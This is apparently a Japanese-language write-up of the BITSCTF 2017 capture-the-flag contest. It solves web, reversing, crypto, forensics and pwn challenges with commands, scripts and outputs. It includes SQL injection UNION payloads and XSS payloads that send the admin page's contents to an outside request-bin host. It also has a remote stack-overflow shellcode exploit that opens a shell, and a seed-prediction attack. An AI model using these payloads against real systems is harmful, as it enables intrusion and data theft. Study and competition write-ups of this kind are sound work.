BITSCTF 2017 供養(Writeup)
BITSCTF 2017に参加。410ptで30位。
BotBot (Web 10)
/robots.txtを見るとそれっぽいものがある。
Useragent * Disallow: /fl4g
/fl4gにアクセスすると301になるが、/fl4g/にしたところフラグが得られた。
$ curl -v http://botbot.bitsctf.bits-quark.org/fl4g
* Trying 205.139.17.49...
* Connected to botbot.bitsctf.bits-quark.org (205.139.17.49) port 80 (#0)
> GET /fl4g HTTP/1.1
> Host: botbot.bitsctf.bits-quark.org
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 05 Feb 2017 01:28:52 GMT
< Content-Type: text/html; charset=iso-8859-1
< Content-Length: 351
< Connection: keep-alive
< Location: http://botbot.bitsctf.bits-quark.org/robot/fl4g/
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://botbot.bitsctf.bits-quark.org/robot/fl4g/">here</a>.</p>
<hr>
<address>Apache/2.4.10 (Debian) Server at botbot.bitsctf.bits-quark.org Port 80</address>
</body></html>
* Connection #0 to host botbot.bitsctf.bits-quark.org left intact
$ curl -v http://botbot.bitsctf.bits-quark.org/fl4g/
* Trying 205.139.17.49...
* Connected to botbot.bitsctf.bits-quark.org (205.139.17.49) port 80 (#0)
> GET /fl4g/ HTTP/1.1
> Host: botbot.bitsctf.bits-quark.org
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 05 Feb 2017 01:28:54 GMT
< Content-Type: text/html; charset=UTF-8
< Content-Length: 41
< Connection: keep-alive
< X-Powered-By: PHP/7.0.15
<
* Connection #0 to host botbot.bitsctf.bits-quark.org left intact
BITCTF{take_a_look_at_googles_robots_txt}
Batman vs Joker (Web 30)
ふつうのSQL injection問題。
' UNION SELECT table_name, column_name FROM information_schema.columns -- ' UNION SELECT flag, 1 FROM Joker --
BITSCTF{wh4t_d03snt_k1ll_y0u_s1mply_m4k3s_y0u_str4ng3r!}
Message the admin (Web 60)
My boss has created a website. I can send messages to him via a form on that website. He is always looking out for the messages that he receives.
XSS問題。 innerHTMLの先頭を見たところdata URIが延々と続いていたので、正規表現でフラグフォーマットにマッチする部分を抜き出した。
'"><img src=http://requestb.in/XXXXXXXX>
'"><script>location.href="http://requestb.in/XXXXXXXX?x="+encodeURIComponent(document.body.innerHTML.slice(0,3000))</script>
'"><script>location.href="http://requestb.in/XXXXXXXX?x="+document.body.innerHTML.match(/BITSCTF\{[^}]*\}/)[0]</script>
BITSCTF{hsr_1s_n0t_cr3ative}
Mission improbable (Rev 20)
与えられたテキストを適当にhex decodeしてstringsをかけると、フラグっぽいものが見つかる。
最後が変だが、}に直すと通った。
import sys
data = open('MissionImprobable.TEENSY31.hex').read()
for line in data.splitlines():
s = line[7:]
sys.stdout.write(s.decode('hex'))
$ python test.py | strings -n8
>F@&(F1F
>F@&(F1F
EF@%0F)F
"The flag is BI
TCTF{B4d_bad_U5BO
echo "This m
essage will selfL
destruct in 5 s
,^t`abd4o
fgen6-78'
%&s3v.wx_DEFGHIJ
KLMNOPQRSTUVWXYZ
[\]/10cm5
BITCTF{B4d_bad_U5B}
Riskv and Reward (Rev 80)
RISC-VのELF。 16進ダンプを眺めると、dataセクションと思われる箇所に文字列と数値の配列がある。
$ xxd riskv_and_reward
(snip)
00001040: 746a 6233 6373 4674 3072 7275 7472 685f tjb3csFt0rrutrh_
00001050: 7769 7635 5f5f 6669 7d6b 5f31 6968 607b wiv5__fi}k_1ih`{
00001060: 7849 6372 6873 6f79 426d 7977 3143 7954 xIcrhsoyBmyw1CyT
00001070: 3372 7678 5374 545f 6a71 3430 5f7a 7271 3rvxStT_jq40_zrq
00001080: 2800 0000 2100 0000 2f00 0000 3400 0000 (...!.../...4...
00001090: 2d00 0000 3600 0000 0600 0000 1f00 0000 -...6...........
000010a0: 2500 0000 3b00 0000 2900 0000 0300 0000 %...;...).......
000010b0: 3700 0000 3e00 0000 1b00 0000 0500 0000 7...>...........
000010c0: 2200 0000 1300 0000 1400 0000 3a00 0000 "...........:...
000010d0: 3100 0000 3000 0000 1a00 0000 1000 0000 1...0...........
000010e0: 0800 0000 2300 0000 0700 0000 2400 0000 ....#.......$...
000010f0: 3c00 0000 2c00 0000 0000 0000 1800 0000 <...,...........
00001100: 4300 0000 0000 0000 0000 0000 0000 0000 C...............
(snip)
数値の配列の並びで文字列から文字を抜き出してみるとフラグが得られた。
table = 'tjb3csFt0rrutrh_wiv5__fi}k_1ih`{xIcrhsoyBmyw1CyT3rvxStT_jq40_zrq'
ary = [0x28, 0x21, 0x2f, 0x34, 0x2d, 0x36, 0x06, 0x1f, 0x25, 0x3b, 0x29, 0x03, 0x37, 0x3e, 0x1b, 0x05, 0x22, 0x13, 0x14, 0x3a, 0x31, 0x30, 0x1a, 0x10, 0x08, 0x23, 0x07, 0x24, 0x3c, 0x2c, 0x00, 0x18]
s = ''
for x in ary:
s += table[x]
print s
$ python test.py
BITSCTF{s0m3_r1sc5_4r3_w0rth_1t}
Labour (Misc 20)
複数の緯度経度情報を含むGPXファイルが与えられる。 緯度経度を国名に直して、頭文字を並べるとフラグが得られる。
23.71697, 89.45508 // Bandladesh
22.82885, 80.79786 // India
39.88276, 58.81642 // Turkmenistan
15.43674, 27.65039 // Sudan
12.69179, 17.50781 // Chad
14.91081, 100.47656 // Thailand
45.9267, 2.21484 // France
4.11852, 102.19922 // Malaysia
34.85709, 65.84765 // Afghanistan
28.89086, 68.30859 // Pakistan
39.20502, 31.92187 // Turkey
47.24344, 19.8457 // Hungary
25.30828, 29.84765 // Egypt
18.97119, -72.28521 // Haiti
-13.61609, 17.68359 // Angola
33.84122, 102.23438 // China
46.89624, 69.53907 // Kazakhstan
BITSCTF{MAP_THE_HACK}
Banana Princess (Crypto 20)
PDFファイルが与えられるが、先頭がおかしい。
$ xxd MinionQuest.pdf | head 00000000: 2543 5153 2d31 2e35 0d25 e2e3 cfd3 0d0a %CQS-1.5.%...... 00000010: 3420 3020 626f 770d 3c3c 2f59 7661 726e 4 0 bow.<</Yvarn 00000020: 6576 6d72 7120 312f 5920 3433 3031 3930 evmrq 1/Y 430190 00000030: 2f42 2036 2f52 2034 3034 3334 332f 4120 /B 6/R 404343/A 00000040: 312f 4720 3432 3939 3931 2f55 205b 2035 1/G 429991/U [ 5 00000050: 3736 2031 3535 5d3e 3e0d 7261 7162 6f77 76 155]>>.raqbow 00000060: 0d20 2020 2020 2020 2020 2020 2020 2020 . 00000070: 2020 0d0a 6b65 7273 0d0a 3420 3134 0d0a ..kers..4 14.. 00000080: 3030 3030 3030 3030 3136 2030 3030 3030 0000000016 00000 00000090: 2061 0d0a 3030 3030 3030 3037 3331 2030 a..0000000731 0
PDF -> CQSの対応関係からROT13変換されていると推測し、逆変換したものを書き出す。
data = open('MinionQuest.pdf').read()
with open('a.pdf', 'wb') as f:
f.write(data.decode('rot13').encode('latin1'))
Adobe Readerで開くと一部に黒塗りがかかったページが表示される。 背景画像を選択した後右クリックから「画像をコピー」を選びペイント等に貼り付けると、黒塗りされていない画像が得られる。

BITSCTF{save_the_kid}
Beginner’s luck (Crypto 40)
与えられたコードを読むと、24バイトの鍵で繰り返しXORを取っていることがわかる。
ファイル名がBITSCTFfullhd.pngであることから1920x1080のPNG画像であると推測し、特定可能な先頭部分からXOR鍵を求めて復号する。
def xor(x, y):
return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(x, y))
data = open('BITSCTFfullhd.png').read()
# signature: 89504e470d0a1a0a
# chunk length: 0000000d
# chunk type: 49484452 (IHDR)
# width: 00000780 (1920)
# height: 00000438 (1080)
p = '89504e470d0a1a0a0000000d494844520000078000000438'.decode('hex')
c = data[:24]
key = xor(c,p)
def supa_encryption(s1, s2):
res = [chr(0)]*24
for i in range(len(res)):
q = ord(s1[i])
d = ord(s2[i])
k = q ^ d
res[i] = chr(k)
res = ''.join(res)
return res
enc_data = ''
for i in range(0, len(data), 24):
enc = supa_encryption(data[i:i+24], key)
enc_data += enc
with open('a.png', 'wb') as f:
f.write(enc_data)

BITSCTF{p_en_gee}
Sherlock (Crypto 60)
与えられたテキストを見ると不自然な箇所でアルファベットが大文字になっている。 大文字部分のみを取り出し、適当に変換するとフラグが得られる。
$ grep -oP '[A-Z]' final.txt | tr -d '\n' ZEROONEZEROZEROZEROZEROONEZEROZEROONEZEROZEROONEZEROZEROONEZEROONEZEROONEZEROONEZEROZEROZEROONEZEROONEZEROZEROONEONEZEROONEZEROZEROZEROZEROONEONEZEROONEZEROONEZEROONEZEROZEROZEROONEZEROZEROZEROONEONEZEROZEROONEONEONEONEZEROONEONEZEROONEONEZEROONEZEROZEROZEROZEROZEROONEONEZEROZEROZEROONEZEROONEONEZEROZEROONEZEROZEROZEROZEROONEONEZEROZEROONEONEZEROONEZEROONEONEONEONEONEZEROZEROONEONEZEROZEROZEROONEZEROONEONEZEROONEONEONEZEROZEROONEZEROONEONEONEONEONEZEROONEONEONEZEROZEROZEROZEROZEROONEONEZEROONEONEZEROZEROZEROZEROONEONEZEROONEZEROZEROZEROZEROONEONEZEROZEROZEROONEZEROONEONEZEROONEONEONEZEROZEROONEZEROONEONEONEONEONEZEROZEROONEONEZEROONEZEROONEZEROZEROONEONEZEROZEROZEROONEZEROZEROONEONEZEROONEONEONEZEROZEROONEONEZEROZEROONEONEZEROONEONEONEONEONEZEROONE $ grep -oP '[A-Z]' final.txt | tr -d '\n' | sed 's/ZERO/0/g;s/ONE/1/g' 010000100100100101010100010100110100001101010100010001100111101101101000001100010110010000110011010111110011000101101110010111110111000001101100001101000011000101101110010111110011010100110001001101110011001101111101
s = '010000100100100101010100010100110100001101010100010001100111101101101000001100010110010000110011010111110011000101101110010111110111000001101100001101000011000101101110010111110011010100110001001101110011001101111101'
s = "%x" % int(s, 2)
print s.decode('hex')
$ python test.py
BITSCTF{h1d3_1n_pl41n_5173}
Black Hole (Forensics 10)
stringsするとBase64っぽい文字列がある。
$ strings -n8 black_hole.jpg | tail
%%u{5{?Tz9Fy
_?=>KmGF
fyJmUQ!s
UX#0htK-?P
l!]Y5-E$
5 c2jwW-4
JeY[pVP=
j3xKE}*y
M&W]>[&
UQklUQ1RGe1M1IDAwMTQrODF9
フラグフォーマットをBase64変換したものを見つつ、逆変換するとフラグが得られる。
$ echo BITSCTF | base64
QklUU0NURgo=
$ echo QklUQ1RGe1M1IDAwMTQrODF9 | base64 -d
BITCTF{S5 0014+81}
Woodstock-1 (Forensics 10)
stringsするとフラグが見える。
$ strings ws1_2.pcapng | head -n 20
Linux 4.8.0-37-generic
Dumpcap (Wireshark) 2.2.4 (Git Rev Unknown from unknown)
wlo1
port 1209 or port 3000 or port 3001
Linux 4.8.0-37-generic
Ln$Lock EXTENDEDPROTOCOLXUa`cq;KGq_Xkk3=jfOHOL3B0xUnix Pk=PtokaX|
$Supports UserCommand NoGetINFO NoHello UserIP2 TTHSearch ZPipe0 TLS|$Key
p3/%DCN000%/
|$ValidateNick codelec|
$Supports ZPipe0 NoHello UserCommand UserIP2|$GetPass|
$MyPass BITSCTF{such_s3cure_much_w0w}|
$Hello codelec|$LogedIn codelec|
m $Version 1,0091|$GetNickList|$MyINFO $ALL codelec <EiskaltDC++ V:2.2.9,M:A,H:0/1/0,S:3>$ $100 KiB/s
$$14$|
f>$ZOn|x
R|(
u=Vj
f{$ZOn|x
,Q/VHT
aVFzFz
Command_Line (Pwn 20)
スタックバッファオーバーフロー脆弱性がある。 バッファのアドレスが出力される、かつNXが無効なので、シェルコードを置いてジャンプさせることでシェルが起動できる。
from minipwn import *
#s = connect_process(['stdbuf', '-o0', './pwn1'])
s = socket.create_connection(('bitsctf.bits-quark.org', 1330))
data = recvline(s)
addr_buf = int(data, 16)
print "[+] addr_buf = %x" % addr_buf
buf = 'A' * 24
buf += p64(addr_buf+32)
buf += shellcode['x64']
sendline(s, buf)
interact(s)
$ python test.py
[+] addr_buf = 7fffffffe620
id
uid=1000(user1) gid=1000(user1) groups=1000(user1)
ls
flag
nohup.out
pwn1
cat flag
BITSCTF{b451c_57r416h7_f0rw4rd_5h3llc0d1n6}
Random Game (Pwn 30)
srand(time(0))で初期化された疑似乱数の出力を推測する問題。
同じ条件で乱数を出力するC言語コードを書き、同時刻に実行されるようにする。
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
srand(time(0));
for (int i=0; i<100; i++) {
printf("%d\n", rand()&0xf);
fflush(stdout);
}
return 0;
}
from minipwn import *
s = socket.create_connection(('bitsctf.bits-quark.org', 1337))
p = connect_process(['./a.out'])
while True:
line = recvline(p)
msg = s.recv(8192)
if not msg:
break
print "%r" % msg
s.sendall(line)
interact(s)
$ gcc test.c
$ python test.py
'your number for 1 round : '
'your number for 2 round : '
'your number for 3 round : '
'your number for 4 round : '
'your number for 5 round : '
'your number for 6 round : '
'your number for 7 round : '
'your number for 8 round : '
'your number for 9 round : '
'your number for 10 round : '
'your number for 11 round : '
'your number for 12 round : '
'your number for 13 round : '
'your number for 14 round : '
'your number for 15 round : '
'your number for 16 round : '
'your number for 17 round : '
'your number for 18 round : '
'your number for 19 round : '
'your number for 20 round : '
'your number for 21 round : '
'your number for 22 round : '
'your number for 23 round : '
'your number for 24 round : '
'your number for 25 round : '
'your number for 26 round : '
'your number for 27 round : '
'your number for 28 round : '
'your number for 29 round : '
'your number for 30 round : '
'congrats you are rewarded with the flag BITSCTF{54m3_533d_54m3_53qu3nc\n'
*** Connection closed by remote host ***
フラグが切れていてこのままでは通らなかったが、same_seed_same_sequenceのleetと推測して補完したところ通った。
BITSCTF{54m3_533d_54m3_53qu3nc3}
所感
解けなかった問題は以下。
- Showcasing the admin (Web 80)
- Good Samaritan (Misc 50)
- Enjoy the music (Misc 60)
- fanfie (Crypto 20)
- Enigma (Crypto 30)
- flagception (Forensics 30)
- Tom and Jerry (Forensics 50)
- Woodstock-2 (Forensics 55)
- Gh0st in the machine (Forensics 60)
- Remember me (Forensics 60)